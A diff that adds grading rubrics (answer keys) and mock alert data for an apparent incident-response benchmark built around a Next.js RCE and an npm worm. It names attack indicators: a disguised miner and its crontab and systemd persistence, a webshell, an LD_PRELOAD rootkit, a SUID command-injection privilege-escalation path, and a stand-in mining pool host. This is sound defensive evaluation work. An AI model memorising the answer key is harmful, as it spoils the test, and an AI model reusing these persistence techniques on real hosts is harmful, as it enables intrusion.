+ - Evidence: Lists each leaked credential + - Attribution: Associates it with the attacker's information-gathering phase +- **Plan score** (2 pts) + - Correctness: Rotate all leaked credentials + - Completeness: After rotating the JWT Secret, all sessions must be invalidated + +## Dimension 4: Vulnerability remediation (4 items) + +### CHK-21: Next.js vuln (CVE-2025-66478) `VUL-04` +- **Evidence**: Next.js 14.x (version number in `/opt/webapp/node_modules/next/package.json`) has an RSC RCE +- **Detection score** (3 pts) + - Discovery: Identifies that the Next.js version has a known CVE + - Evidence: Precisely locates the version number in package.json + - Attribution: Correctly associates CVE-2025-66478 or the RSC deserialization vulnerability description +- **Plan score** (2 pts) + - Correctness: Upgrade Next.js to a secure version + - Completeness: Includes npm audit + rebuild + verification steps + +### CHK-22: React version risk `VUL-04` +- **Evidence**: React 19.0.0 (react-server-dom-webpack related to the RSC RCE) +- **Detection score** (3 pts) + - Discovery: Identifies the association between the React version and the RSC vulnerability + - Evidence: Locates the version in package.json or node_modules + - Attribution: Associates CVE-2025-55182 or the React RSC deserialization chain +- **Plan score** (2 pts) + - Correctness: Upgrade React + react-dom + react-server-dom-webpack + - Completeness: Includes a dependency-compatibility check + +### CHK-23: SUID tool code vuln `VUL-03` +- **Evidence**: In the backup-tool source, `system(exec_cmd)` performs no input validation +- **Detection score** (3 pts) + - Discovery: Identifies that the SUID tool has a command-injection vulnerability + - Evidence: Describes the exploitation path where the --exec parameter is passed into system() + - Attribution: Associates it with the SUID privilege-escalation path +- **Plan score** (2 pts) + - Correctness: Remove the SUID bit + fix the code or remove the --exec functionality + - Completeness: Suggests a SUID-tool security-audit process + +### CHK-24: Next.js fix verification `VUL-04` +- **Evidence**: After remediation, the RSC exploit payload should return 4xx rather than 500+digest +- **Detection score** N/A (execution-only item) +- **Plan score** (2 pts) + - Correctness: The plan includes remediation-verification steps + - Completeness: Send the exploit payload to verify that it no longer returns execution results + +## Dimension 5: Root-cause tracing + closed loop (10 items) + +### CHK-25: Entry-point localization `Q-01` *detection-only* +- **Evidence**: The entry point is a Next.js RSC RCE (CVE-2025-66478) +- **Detection score** (3 pts) + - Discovery: The report clearly identifies the entry type as a web-application RCE + - Evidence: Provides the CVE number or an equivalent vulnerability description + - Attribution: Associates it with the Next.js version + the RSC deserialization chain +- **Plan score**: N/A + +### CHK-26: Attack-chain reconstruction `Q-02` *detection-only* +- **Detection score** (3 pts) + - Discovery: The report reconstructs the complete attack chain (RCE → Webshell → SUID privilege escalation → persistence) + - Evidence: Each phase is supported by concrete evidence + - Attribution: The causal relationships between phases are correct +- **Plan score**: N/A + +### CHK-27: Attacker-info extraction `Q-03` *detection-only* +- **Detection score** (3 pts) + - Discovery: Extracts the attacker's IP and tool characteristics + - Evidence: Locates the attack source from logs / network connections + - Attribution: Associates it with the source IPs of each phase in the attack chain +- **Plan score**: N/A + +### CHK-28: SUID privesc path reconstruction `Q-02` *detection-only* +- **Detection score** (3 pts) + - Discovery: Identifies the privilege-escalation path node user → backup-tool --exec → root + - Evidence: Cites the sudoers configuration + SUID bit + command injection + - Attribution: Fully reconstructs the privilege-escalation chain +- **Plan score**: N/A + +### CHK-29: Node.js process-chain provenance `Q-06` *detection-only* +- **Detection score** (3 pts) + - Discovery: The tracing chain from Node.js process → Next.js application → RSC vulnerability + - Evidence: Describes the parent/child relationships of the node process + - Attribution: Tracing capability across the JS runtime and web framework +- **Plan score**: N/A + +### CHK-30: Attacker IP block `ENT-N01` +- **Detection score** N/A (execution-only item) +- **Plan score** (2 pts) + - Correctness: The plan includes iptables / security-group rules to block the attacker's IP + - Completeness: Bidirectional blocking (inbound + outbound) + +### CHK-31: Mining-pool outbound block `ENT-N02` +- **Detection score** N/A (execution-only item) +- **Plan score** (2 pts) + - Correctness: Block pool.evil-example.invalid + port 3333 + - Completeness: Includes blocking at both the DNS and IP levels + +### CHK-32: Honesty (no fabricated CVE) `Q-04` *detection-only* +- **Detection score** (3 pts) + - Discovery: Whether the report correctly cites CVE-2025-66478 rather than fabricating a CVE number + - Evidence: The CVE information matches the actual vulnerability + - Attribution: 0 points = fabricated a non-existent CVE +- **Plan score**: N/A + +### CHK-33: Investigation completeness `Q-05` *detection-only* +- **Detection score** (3 pts) + - Discovery: Whether all 5 persistence mechanisms are covered + - Evidence: Each persistence mechanism has a concrete path + - Attribution: Missing LD_PRELOAD incurs the heaviest deduction (advanced threat) +- **Plan score**: N/A + +### CHK-34: Fix-verification completeness `Q-07` *detection-only* +- **Detection score** (3 pts) + - Discovery: Whether the remediation plan includes verification steps + - Evidence: Each remediation item has a corresponding verification command + - Attribution: The verification commands can confirm the remediation effect +- **Plan score**: N/A + +## Dimension 6: Supplementary items (3 items) + +### CHK-35: Next.js package.json version locate `VUL-04` +- **Evidence**: `/opt/webapp/package.json` and `/opt/webapp/node_modules/next/package.json` +- **Detection score** (3 pts) + - Discovery: Precisely locates the Next.js version number in package.json + - Evidence: Cites the specific file paths and version numbers + - Attribution: Explains why this version is affected +- **Plan score** (2 pts) + +### CHK-36: .next dir anomaly scan `ENT-F01` +- **Evidence**: The debug.js under .next/static/chunks/ is not a normal build artifact +- **Detection score** (3 pts) + - Discovery: Performs an anomalous-file scan of the .next directory + - Evidence: Identifies files that are not build artifacts + - Attribution: Associates it with the Webshell deployment phase +- **Plan score** (2 pts) + +### CHK-37: Business-impact assessment `Q-08` *detection-only* +- **Detection score** (3 pts) + - Discovery: The report assesses the impact of remediation operations on the Next.js application + - Evidence: Mentions possible compatibility issues from the npm upgrade and the service-restart window + - Attribution: The remediation plan balances security and availability +- **Plan score**: N/A diff --git a/ranges/nextjs-rce/checklist.md b/ranges/nextjs-rce/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..15c594ac15e340754103821a079c1b08bc06a2c0 --- /dev/null +++ b/ranges/nextjs-rce/checklist.md @@ -0,0 +1,319 @@ +# range-nextjs-rce 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(5 项) + +### CHK-01:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/var/cache/.node-gc` 正在运行,存在挖矿日志 `/var/cache/.node-gc.log` +- **检测分**(3 分) + - 发现:识别到挖矿进程存在 + - 证据:指出路径 `/var/cache/.node-gc`,识别伪装名称(模仿 Node.js GC 进程) + - 归因:将挖矿进程与攻击者入侵后的牟利行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令(kill/pkill) + - 完整性:方案涵盖终止进程 + 删除二进制文件和日志 + 检查守护机制 + +### CHK-02:挖矿二进制文件清理 `ENT-F02` +- **证据**:文件 `/var/cache/.node-gc`(脚本)+ 日志 `/var/cache/.node-gc.log` +- **检测分**(3 分) + - 发现:识别到恶意文件 + - 证据:指出文件路径和类型 + - 归因:将其与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令 + - 完整性:方案建议检查 /var/cache、/tmp 等隐藏目录是否有副本 + +### CHK-03:Webshell (debug.js) 检测 `ENT-F01` +- **证据**:文件 `/opt/webapp/.next/static/chunks/debug.js` — Node.js Webshell +- **检测分**(3 分) + - 发现:识别到 Webshell 文件 + - 证据:指出路径和内容特征(HTTP server + execSync) + - 归因:将其放置位置(.next/static/chunks/)与 Next.js 应用结构关联 +- **方案分**(2 分) + - 正确性:方案给出正确的文件删除命令 + - 完整性:方案涵盖 Webshell 清除 + 检查 .next 目录下其他异常文件 + +### CHK-04:恶意 SO 文件检测与 LD_PRELOAD 持久化 `ENT-F03` `PER-H01` +- **证据**:`/etc/ld.so.preload` 中包含 `/usr/lib/x86_64-linux-gnu/.libnode_helper.so` — LD_PRELOAD rootkit SO +- **检测分**(3 分) + - 发现:识别到恶意 SO 文件, ld.so.preload 被篡改 + - 证据:指出文件路径、隐藏特征(以 . 开头)、伪装名称,引用 `/etc/ld.so.preload` 内容和对应的 SO 文件 + - 归因:将其与 LD_PRELOAD 持久化机制关联,识别为 LD_PRELOAD 劫持型 rootkit 持久化 +- **方案分**(2 分) + - 正确性:方案给出删除 SO + 清理 ld.so.preload 的命令 + - 完整性:方案涵盖 ldconfig 刷新 + 检查是否有其他 preload 项 + +### CHK-05:提权残留文件 `ENT-F04` +- **证据**:`/tmp/.escalation_log`、`/tmp/.privesc_proof` — SUID 提权证据 +- **检测分**(3 分) + - 发现:发现提权操作残留 + - 证据:指出文件内容记录了提权路径 + - 归因:将其与 SUID backup-tool 提权关联 +- **方案分**(2 分) + - 正确性:先取证后删除 + - 完整性:建议检查 /tmp 下其他隐藏文件 + +## 维度 2:持久化与驻留机制(5 项) + +### CHK-06:profile.d 后门 `PER-E01` +- **证据**:`/etc/profile.d/node-env.sh` 中隐藏了挖矿重启逻辑 +- **检测分**(3 分) + - 发现:识别到 profile.d 中的恶意脚本 + - 证据:引用脚本内容,指出其中隐藏的后台进程启动代码 + - 归因:识别为登录触发型持久化 +- **方案分**(2 分) + - 正确性:删除恶意脚本 + - 完整性:审查 profile.d 目录中其他脚本 + +### CHK-07:systemd 服务持久化 `PER-S02` +- **证据**:`/etc/systemd/system/node-gc-helper.service` — 伪装为 GC 辅助 +- **检测分**(3 分) + - 发现:识别到异常 systemd 服务 + - 证据:引用 service 文件内容,指出其执行挖矿程序 + - 归因:将服务名伪装(node-gc-helper)与恶意行为关联 +- **方案分**(2 分) + - 正确性:stop + disable + 删除 service 文件 + daemon-reload + - 完整性:方案涵盖所有 systemd 相关清理步骤 + +### CHK-08:crontab 持久化 `PER-S01` +- **证据**:root crontab 中包含 `*/5 * * * * /var/cache/.node-gc` +- **检测分**(3 分) + - 发现:识别到异常 crontab 条目 + - 证据:引用完整 crontab 行 + - 归因:将其与挖矿程序持久化关联 +- **方案分**(2 分) + - 正确性:方案给出 crontab -r 或编辑移除恶意行 + - 完整性:检查所有用户的 crontab + /etc/cron.d + +### CHK-09:SSH 密钥注入 `PER-A01` +- **证据**:`/root/.ssh/authorized_keys` 中包含 `deploy@vercel-ci` 密钥 +- **检测分**(3 分) + - 发现:识别到异常 SSH 密钥 + - 证据:引用密钥内容和注释字段 + - 归因:识别伪装的注释(deploy@vercel-ci 不是合法部署密钥) +- **方案分**(2 分) + - 正确性:移除恶意密钥 + - 完整性:审查所有用户的 authorized_keys + +### CHK-10:Webshell 进程持久化 `PER-W01` +- **证据**:debug.js Webshell 监听 127.0.0.1:9229(伪装 Node.js debugger 端口) +- **检测分**(3 分) + - 发现:识别到 Webshell 进程 + - 证据:指出监听端口、进程启动方式 + - 归因:与 Next.js 攻击链中的 Phase 1 关联 +- **方案分**(2 分) + - 正确性:终止进程 + 删除文件 + - 完整性:检查是否有其他异常端口监听 + +## 维度 3:基线风险(10 项) + +### CHK-11:SSH PermitRootLogin `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中配置了 `PermitRootLogin yes` +- **检测分**(3 分)/ **方案分**(2 分) + - 与 range-ssh-miner CHK-05 同类 + +### CHK-12:SSH PasswordAuthentication `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中配置了 `PasswordAuthentication yes` +- **检测分**(3 分)/ **方案分**(2 分) + +### CHK-13:SSH MaxAuthTries `BAS-01` +- **证据**:`MaxAuthTries 100`(应收紧到 6 或更低) +- **检测分**(3 分)/ **方案分**(2 分) + +### CHK-14:root 弱密码 `BAS-01` +- **证据**:存在弱密码风险/密码登录风险 +- **检测分**(3 分)/ **方案分**(2 分) + +### CHK-15:node 用户危险 sudoers `BAS-03` +- **证据**:`/etc/sudoers.d/node-ops` 允许 node 用户 NOPASSWD 执行 backup-tool +- **检测分**(3 分) + - 发现:报告中提及危险 sudoers 配置 + - 证据:引用 sudoers.d 内容 + - 归因:将其与 SUID 提权路径关联 +- **方案分**(2 分) + - 正确性:移除或严格限制 sudoers 条目 + - 完整性:审查所有 sudoers.d/ 文件 + +### CHK-16:SUID backup-tool `BAS-03` +- **证据**:`/usr/local/bin/backup-tool` 有 SUID root 位 + --exec 命令注入 +- **检测分**(3 分) + - 发现:识别到危险的 SUID 文件 + - 证据:指出 SUID 位 + --exec 参数的命令注入漏洞 + - 归因:将其与提权路径关联 +- **方案分**(2 分) + - 正确性:移除 SUID 位(chmod u-s)或移除工具 + - 完整性:全盘 SUID 审计建议 + +### CHK-17:.env 文件权限 `BAS-05` +- **证据**:`/opt/webapp/.env` 权限过于宽松(非 node 用户可读取) +- **检测分**(3 分) + - 发现:报告中提及 .env 文件敏感信息暴露 + - 证据:引用 .env 内容(DB 密码、JWT Secret、SMTP 密码) + - 归因:将凭证暴露与攻击者信息收集阶段关联 +- **方案分**(2 分) + - 正确性:chmod 600 + chown node:node + 更换所有泄露凭证 + - 完整性:方案涵盖所有泄露凭证的轮换 + +### CHK-18:PostgreSQL 远程访问 `BAS-02` +- **证据**:`pg_hba.conf` 允许 `0.0.0.0/0` + `listen_addresses = '*'` +- **检测分**(3 分) + - 发现:报告中提及 PostgreSQL 远程访问风险 + - 证据:引用 pg_hba.conf 和 postgresql.conf 配置 + - 归因:将数据库暴露与数据泄露关联 +- **方案分**(2 分) + - 正确性:限制 pg_hba.conf 只允许 localhost + 修改 listen_addresses + - 完整性:包含密码更换 + 重启验证 + +### CHK-19:PostgreSQL 弱密码 `BAS-02` +- **证据**:webapp 用户密码 `webapp_db_2024!` 在 .env 中明文暴露 +- **检测分**(3 分)/ **方案分**(2 分) + +### CHK-20:JWT/SMTP 凭证泄露 `BAS-05` +- **证据**:.env 中的 JWT_SECRET 和 SMTP_PASSWORD 明文暴露 +- **检测分**(3 分) + - 发现:识别到多种凭证泄露 + - 证据:列出每种泄露的凭证 + - 归因:与攻击者信息收集阶段关联 +- **方案分**(2 分) + - 正确性:轮换所有泄露凭证 + - 完整性:JWT Secret 更换后需使所有 session 失效 + +## 维度 4:漏洞修复(4 项) + +### CHK-21:Next.js 版本漏洞 (CVE-2025-66478) `VUL-04` +- **证据**:Next.js 14.x(`/opt/webapp/node_modules/next/package.json` 中版本号)存在 RSC RCE +- **检测分**(3 分) + - 发现:识别到 Next.js 版本存在已知 CVE + - 证据:从 package.json 中精确定位版本号 + - 归因:正确关联 CVE-2025-66478 或 RSC 反序列化漏洞描述 +- **方案分**(2 分) + - 正确性:升级 Next.js 到安全版本 + - 完整性:包含 npm audit + 重新构建 + 验证步骤 + +### CHK-22:React 版本风险 `VUL-04` +- **证据**:React 19.0.0(与 RSC RCE 相关的 react-server-dom-webpack) +- **检测分**(3 分) + - 发现:识别到 React 版本与 RSC 漏洞的关联 + - 证据:从 package.json 或 node_modules 中定位版本 + - 归因:关联 CVE-2025-55182 或 React RSC 反序列化链 +- **方案分**(2 分) + - 正确性:升级 React + react-dom + react-server-dom-webpack + - 完整性:包含依赖兼容性检查 + +### CHK-23:SUID 工具代码漏洞 `VUL-03` +- **证据**:backup-tool 源码中 `system(exec_cmd)` 未做输入校验 +- **检测分**(3 分) + - 发现:识别到 SUID 工具存在命令注入漏洞 + - 证据:描述 --exec 参数传入 system() 的利用路径 + - 归因:将其与 SUID 提权路径关联 +- **方案分**(2 分) + - 正确性:移除 SUID 位 + 修复代码或移除 --exec 功能 + - 完整性:建议 SUID 工具安全审计流程 + +### CHK-24:Next.js 修复验证 `VUL-04` +- **证据**:修复后 RSC exploit payload 应返回 4xx 而非 500+digest +- **检测分** N/A(仅执行项) +- **方案分**(2 分) + - 正确性:方案包含修复验证步骤 + - 完整性:发送 exploit payload 验证不再返回执行结果 + +## 维度 5:根因溯源 + 闭环(10 项) + +### CHK-25:入口定位准确 `Q-01` *仅检测项* +- **证据**:入口为 Next.js RSC RCE (CVE-2025-66478) +- **检测分**(3 分) + - 发现:报告明确指出入口类型为 Web 应用 RCE + - 证据:给出 CVE 编号或等效漏洞描述 + - 归因:关联到 Next.js 版本 + RSC 反序列化链 +- **方案分**:N/A + +### CHK-26:攻击链还原 `Q-02` *仅检测项* +- **检测分**(3 分) + - 发现:报告还原了完整攻击链(RCE → Webshell → SUID 提权 → 持久化) + - 证据:每个阶段有具体证据支撑 + - 归因:各阶段间的因果关系正确 +- **方案分**:N/A + +### CHK-27:攻击者信息提取 `Q-03` *仅检测项* +- **检测分**(3 分) + - 发现:提取攻击者 IP、工具特征 + - 证据:从日志/网络连接中定位攻击来源 + - 归因:与攻击链中各阶段的源 IP 关联 +- **方案分**:N/A + +### CHK-28:SUID 提权路径还原 `Q-02` *仅检测项* +- **检测分**(3 分) + - 发现:识别 node 用户 → backup-tool --exec → root 的提权路径 + - 证据:引用 sudoers 配置 + SUID 位 + 命令注入 + - 归因:完整还原提权链 +- **方案分**:N/A + +### CHK-29:Node.js 进程链溯源 `Q-06` *仅检测项* +- **检测分**(3 分) + - 发现:从 Node.js 进程 → Next.js 应用 → RSC 漏洞 的溯源链 + - 证据:描述 node 进程的 parent/child 关系 + - 归因:跨 JS 运行时和 Web 框架的追踪能力 +- **方案分**:N/A + +### CHK-30:攻击者 IP 封禁 `ENT-N01` +- **检测分** N/A(仅执行项) +- **方案分**(2 分) + - 正确性:方案包含 iptables/安全组规则封禁攻击者 IP + - 完整性:双向封禁(入站+出站) + +### CHK-31:矿池出站封禁 `ENT-N02` +- **检测分** N/A(仅执行项) +- **方案分**(2 分) + - 正确性:封禁 pool.evil-example.invalid + 端口 3333 + - 完整性:包含 DNS 和 IP 层面的封禁 + +### CHK-32:诚实度(不编造 CVE) `Q-04` *仅检测项* +- **检测分**(3 分) + - 发现:报告是否正确引用 CVE-2025-66478 而非编造 CVE 编号 + - 证据:CVE 信息与实际漏洞匹配 + - 归因:0 分 = 编造了不存在的 CVE +- **方案分**:N/A + +### CHK-33:排查全面性 `Q-05` *仅检测项* +- **检测分**(3 分) + - 发现:是否覆盖了所有 5 种持久化机制 + - 证据:每种持久化有具体路径 + - 归因:遗漏 LD_PRELOAD 扣分最重(高级威胁) +- **方案分**:N/A + +### CHK-34:修复验证完备性 `Q-07` *仅检测项* +- **检测分**(3 分) + - 发现:修复方案是否包含验证步骤 + - 证据:每个修复项有对应的验证命令 + - 归因:验证命令能确认修复效果 +- **方案分**:N/A + +## 维度 6:补充项(3 项) + +### CHK-35:Next.js package.json 版本精确定位 `VUL-04` +- **证据**:`/opt/webapp/package.json` 和 `/opt/webapp/node_modules/next/package.json` +- **检测分**(3 分) + - 发现:从 package.json 中精确定位 Next.js 版本号 + - 证据:引用具体文件路径和版本号 + - 归因:说明该版本受影响的原因 +- **方案分**(2 分) + +### CHK-36:.next 目录异常文件扫描 `ENT-F01` +- **证据**:.next/static/chunks/ 下的 debug.js 不属于正常构建产物 +- **检测分**(3 分) + - 发现:对 .next 目录进行异常文件扫描 + - 证据:识别出非构建产物的文件 + - 归因:与 Webshell 部署阶段关联 +- **方案分**(2 分) + +### CHK-37:业务影响评估 `Q-08` *仅检测项* +- **检测分**(3 分) + - 发现:报告评估了修复操作对 Next.js 应用的影响 + - 证据:提及 npm 升级可能的兼容性问题、服务重启窗口 + - 归因:修复方案平衡了安全性和可用性 +- **方案分**:N/A diff --git a/ranges/nextjs-rce/disk.tar.gz b/ranges/nextjs-rce/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..94302fbe31ab87eab048b88dd8aecb7a480ca526 --- /dev/null +++ b/ranges/nextjs-rce/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd72379963b89b1e85300d6e8b348f3684d19d5be3ab2dd1f8c563a993137ca7 +size 2306913081 diff --git a/ranges/nextjs-rce/disk.tar.gz.sha256 b/ranges/nextjs-rce/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..5aa28169f2c63d811ebd8859251380c0ecf1b504 --- /dev/null +++ b/ranges/nextjs-rce/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8348e45b54ebb3ad4b0e418e078c6e2bd7906b0c0b56222ccd8bba46ba57d58f +size 78 diff --git a/ranges/nextjs-rce/sas-mock/alerts.json b/ranges/nextjs-rce/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..6ade94987a5be76ccf1a71a1b3dc43931c5a336a --- /dev/null +++ b/ranges/nextjs-rce/sas-mock/alerts.json @@ -0,0 +1,117 @@ +{ + "RequestId": "mock-nextjs-rce-alerts", + "PageInfo": { + "PageSize": 20, + "TotalCount": 6, + "CurrentPage": 1 + }, + "SuspEvents": [ + { + "AlarmEventName": "Mining Activity", + "AlarmEventNameOriginal": "挖矿活动", + "AlarmEventType": "Mining", + "AlarmUniqueInfo": "mock-alert-001", + "Desc": "检测到疑似挖矿进程 /var/cache/.node-gc,存在与已知矿池地址 pool.evil-example.invalid 的通信行为", + "Details": [ + {"Name": "process_path", "Value": "/var/cache/.node-gc"}, + {"Name": "process_cmdline", "Value": "/bin/bash /var/cache/.node-gc"}, + {"Name": "connect_info", "Value": "pool.evil-example.invalid:3333"} + ], + "EventLevel": "serious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:30:00Z", + "Stages": "Impact" + }, + { + "AlarmEventName": "Suspicious Process - Node.js Child Process", + "AlarmEventNameOriginal": "Node.js 异常子进程", + "AlarmEventType": "Suspicious Process", + "AlarmUniqueInfo": "mock-alert-002", + "Desc": "Node.js 进程派生了可疑子进程,执行了系统命令 id,parent_procpath=/usr/bin/node", + "Details": [ + {"Name": "parent_procpath", "Value": "/usr/bin/node"}, + {"Name": "process_cmdline", "Value": "sh -c id"}, + {"Name": "parent_cmdline", "Value": "node /opt/webapp/node_modules/.bin/next start -p 3000"} + ], + "EventLevel": "suspicious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:10:00Z", + "Stages": "Execution" + }, + { + "AlarmEventName": "Webshell File Detected", + "AlarmEventNameOriginal": "Webshell文件检测", + "AlarmEventType": "Webshell", + "AlarmUniqueInfo": "mock-alert-003", + "Desc": "在 Web 应用目录中检测到可疑脚本文件,包含命令执行功能(execSync)", + "Details": [ + {"Name": "filepath", "Value": "/opt/webapp/.next/static/chunks/debug.js"}, + {"Name": "file_type", "Value": "JavaScript"}, + {"Name": "risk_pattern", "Value": "execSync, http.createServer"} + ], + "EventLevel": "serious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:15:00Z", + "Stages": "Persistence" + }, + { + "AlarmEventName": "Suspicious Crontab Modification", + "AlarmEventNameOriginal": "可疑定时任务变更", + "AlarmEventType": "Persistence", + "AlarmUniqueInfo": "mock-alert-004", + "Desc": "检测到 root 用户 crontab 被添加了异常条目,指向隐藏路径的可执行文件", + "Details": [ + {"Name": "crontab_content", "Value": "*/5 * * * * /var/cache/.node-gc > /dev/null 2>&1"}, + {"Name": "user", "Value": "root"} + ], + "EventLevel": "suspicious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:35:00Z", + "Stages": "Persistence" + }, + { + "AlarmEventName": "Abnormal Systemd Service", + "AlarmEventNameOriginal": "异常 Systemd 服务", + "AlarmEventType": "Persistence", + "AlarmUniqueInfo": "mock-alert-005", + "Desc": "检测到新增 systemd 服务 node-gc-helper.service,指向隐藏路径可执行文件", + "Details": [ + {"Name": "service_name", "Value": "node-gc-helper.service"}, + {"Name": "exec_start", "Value": "/var/cache/.node-gc"}, + {"Name": "unit_file", "Value": "/etc/systemd/system/node-gc-helper.service"} + ], + "EventLevel": "suspicious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:36:00Z", + "Stages": "Persistence" + }, + { + "AlarmEventName": "Suspicious Outbound Connection", + "AlarmEventNameOriginal": "可疑外连", + "AlarmEventType": "Network", + "AlarmUniqueInfo": "mock-alert-006", + "Desc": "检测到主机与疑似矿池地址建立出站 TCP 连接", + "Details": [ + {"Name": "dst_ip", "Value": "pool.evil-example.invalid"}, + {"Name": "dst_port", "Value": "3333"}, + {"Name": "process_path", "Value": "/var/cache/.node-gc"} + ], + "EventLevel": "serious", + "InstanceId": "i-mock-victim-001", + "InstanceName": "webapp-prod-01", + "InternetIp": "__VICTIM_IP__", + "OccurrenceTime": "2026-04-20T14:31:00Z", + "Stages": "Command and Control" + } + ] +} diff --git a/ranges/nextjs-rce/sas-mock/baselines.json b/ranges/nextjs-rce/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..78139583a6a5bffc72dd67e36fa3d294dfd9111c --- /dev/null +++ b/ranges/nextjs-rce/sas-mock/baselines.json @@ -0,0 +1,75 @@ +{ + "RequestId": "mock-nextjs-rce-baselines", + "WarningSummarys": [ + { + "RiskName": "SSH 配置风险", + "Level": "high", + "TypeAlias": "ssh", + "WarningItems": [ + { + "ItemName": "SSH 允许 Root 登录", + "Level": "high", + "Status": 1, + "Description": "SSH 配置允许 root 用户直接密码登录,存在暴力破解风险", + "Advice": "将 PermitRootLogin 设置为 no 或 prohibit-password" + }, + { + "ItemName": "SSH 密码认证开启", + "Level": "medium", + "Status": 1, + "Description": "SSH 开启了密码认证,建议使用密钥认证", + "Advice": "设置 PasswordAuthentication no,配置密钥登录" + }, + { + "ItemName": "SSH MaxAuthTries 过高", + "Level": "medium", + "Status": 1, + "Description": "MaxAuthTries 设置为 100,远超默认值 6,降低暴力破解门槛", + "Advice": "将 MaxAuthTries 设置为 6 或更低" + } + ] + }, + { + "RiskName": "数据库配置风险", + "Level": "high", + "TypeAlias": "database", + "WarningItems": [ + { + "ItemName": "PostgreSQL 远程访问无限制", + "Level": "high", + "Status": 1, + "Description": "pg_hba.conf 允许来自任意 IP 的 md5 认证连接(0.0.0.0/0),数据库暴露在公网", + "Advice": "限制 pg_hba.conf 仅允许 localhost 或特定 IP 段访问" + }, + { + "ItemName": "PostgreSQL 监听所有接口", + "Level": "medium", + "Status": 1, + "Description": "listen_addresses 设置为 '*',数据库监听所有网络接口", + "Advice": "将 listen_addresses 设置为 'localhost' 或仅需要的 IP" + } + ] + }, + { + "RiskName": "账户与权限风险", + "Level": "medium", + "TypeAlias": "account", + "WarningItems": [ + { + "ItemName": "SUID 自定义可执行文件", + "Level": "medium", + "Status": 1, + "Description": "发现非标准的 SUID 文件 /usr/local/bin/backup-tool", + "Advice": "审计 SUID 文件列表,移除不必要的 SUID 位" + }, + { + "ItemName": "用户 sudoers 配置宽松", + "Level": "medium", + "Status": 1, + "Description": "node 用户通过 /etc/sudoers.d/node-ops 获得 NOPASSWD 权限", + "Advice": "收紧 sudoers 配置,移除不必要的 NOPASSWD 权限" + } + ] + } + ] +} diff --git a/ranges/nextjs-rce/sas-mock/vulns.json b/ranges/nextjs-rce/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..a0a11687e797f24b2c0bb5f1552c10f462c6f47a --- /dev/null +++ b/ranges/nextjs-rce/sas-mock/vulns.json @@ -0,0 +1,19 @@ +{ + "RequestId": "mock-nextjs-rce-vulns", + "_note": "SAS 应用漏洞扫描主要覆盖 Web 应用和系统包级别。Node.js/npm 依赖级别的漏洞(如 Next.js CVE-2025-66478)通常不会出现在 SAS 扫描结果中,需要 Agent 通过磁盘取证(package.json / node_modules)主动发现。", + "cve": { + "VulRecords": [] + }, + "sys": { + "VulRecords": [] + }, + "cms": { + "VulRecords": [] + }, + "app": { + "VulRecords": [] + }, + "emg": { + "VulRecords": [] + } +} diff --git a/ranges/npm-worm/checklist.en.md b/ranges/npm-worm/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..e56c8c69c74e9fe051782fb63645fd8472dddbd6 --- /dev/null +++ b/ranges/npm-worm/checklist.en.md @@ -0,0 +1,388 @@ +# range-npm-worm Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: plan score marked N/A, not counted in the corresponding summary + +## Dimension 1: Intrusion entity identification and handling (9 items) + +### CHK-01: Worm process detection `ENT-P01` +- **Evidence**: `python3 /tmp/.ld.py` process is running +- **Detection score** (3 pts) + - Discovery: Identified a suspicious Python process + - Evidence: Pointed out the path `/tmp/.ld.py`, identified it as a malicious worm script (not a system component) + - Attribution: Associated the worm process with automated attack behavior following supply-chain poisoning +- **Plan score** (2 pts) + - Correctness: Plan provides kill/pkill command to terminate the process + - Completeness: Plan covers terminating the process + checking auto-restart mechanisms (crontab, bashrc) + +### CHK-02: Worm script file cleanup `ENT-F02` +- **Evidence**: `/tmp/.ld.py` file exists, timestamp is forged (mtime matches /usr/bin/python3) +- **Detection score** (3 pts) + - Discovery: Identified a hidden Python worm script + - Evidence: Pointed out the file path and content characteristics (network scanning, credential-theft logic) + - Attribution: Associated it with the npm postinstall attack chain +- **Plan score** (2 pts) + - Correctness: Plan provides `rm -f /tmp/.ld.py` + - Completeness: Recommends searching /tmp, /var/tmp and other directories to confirm no copies exist + +### CHK-03: JS dropper identification `ENT-F01` *detection-only* +- **Evidence**: 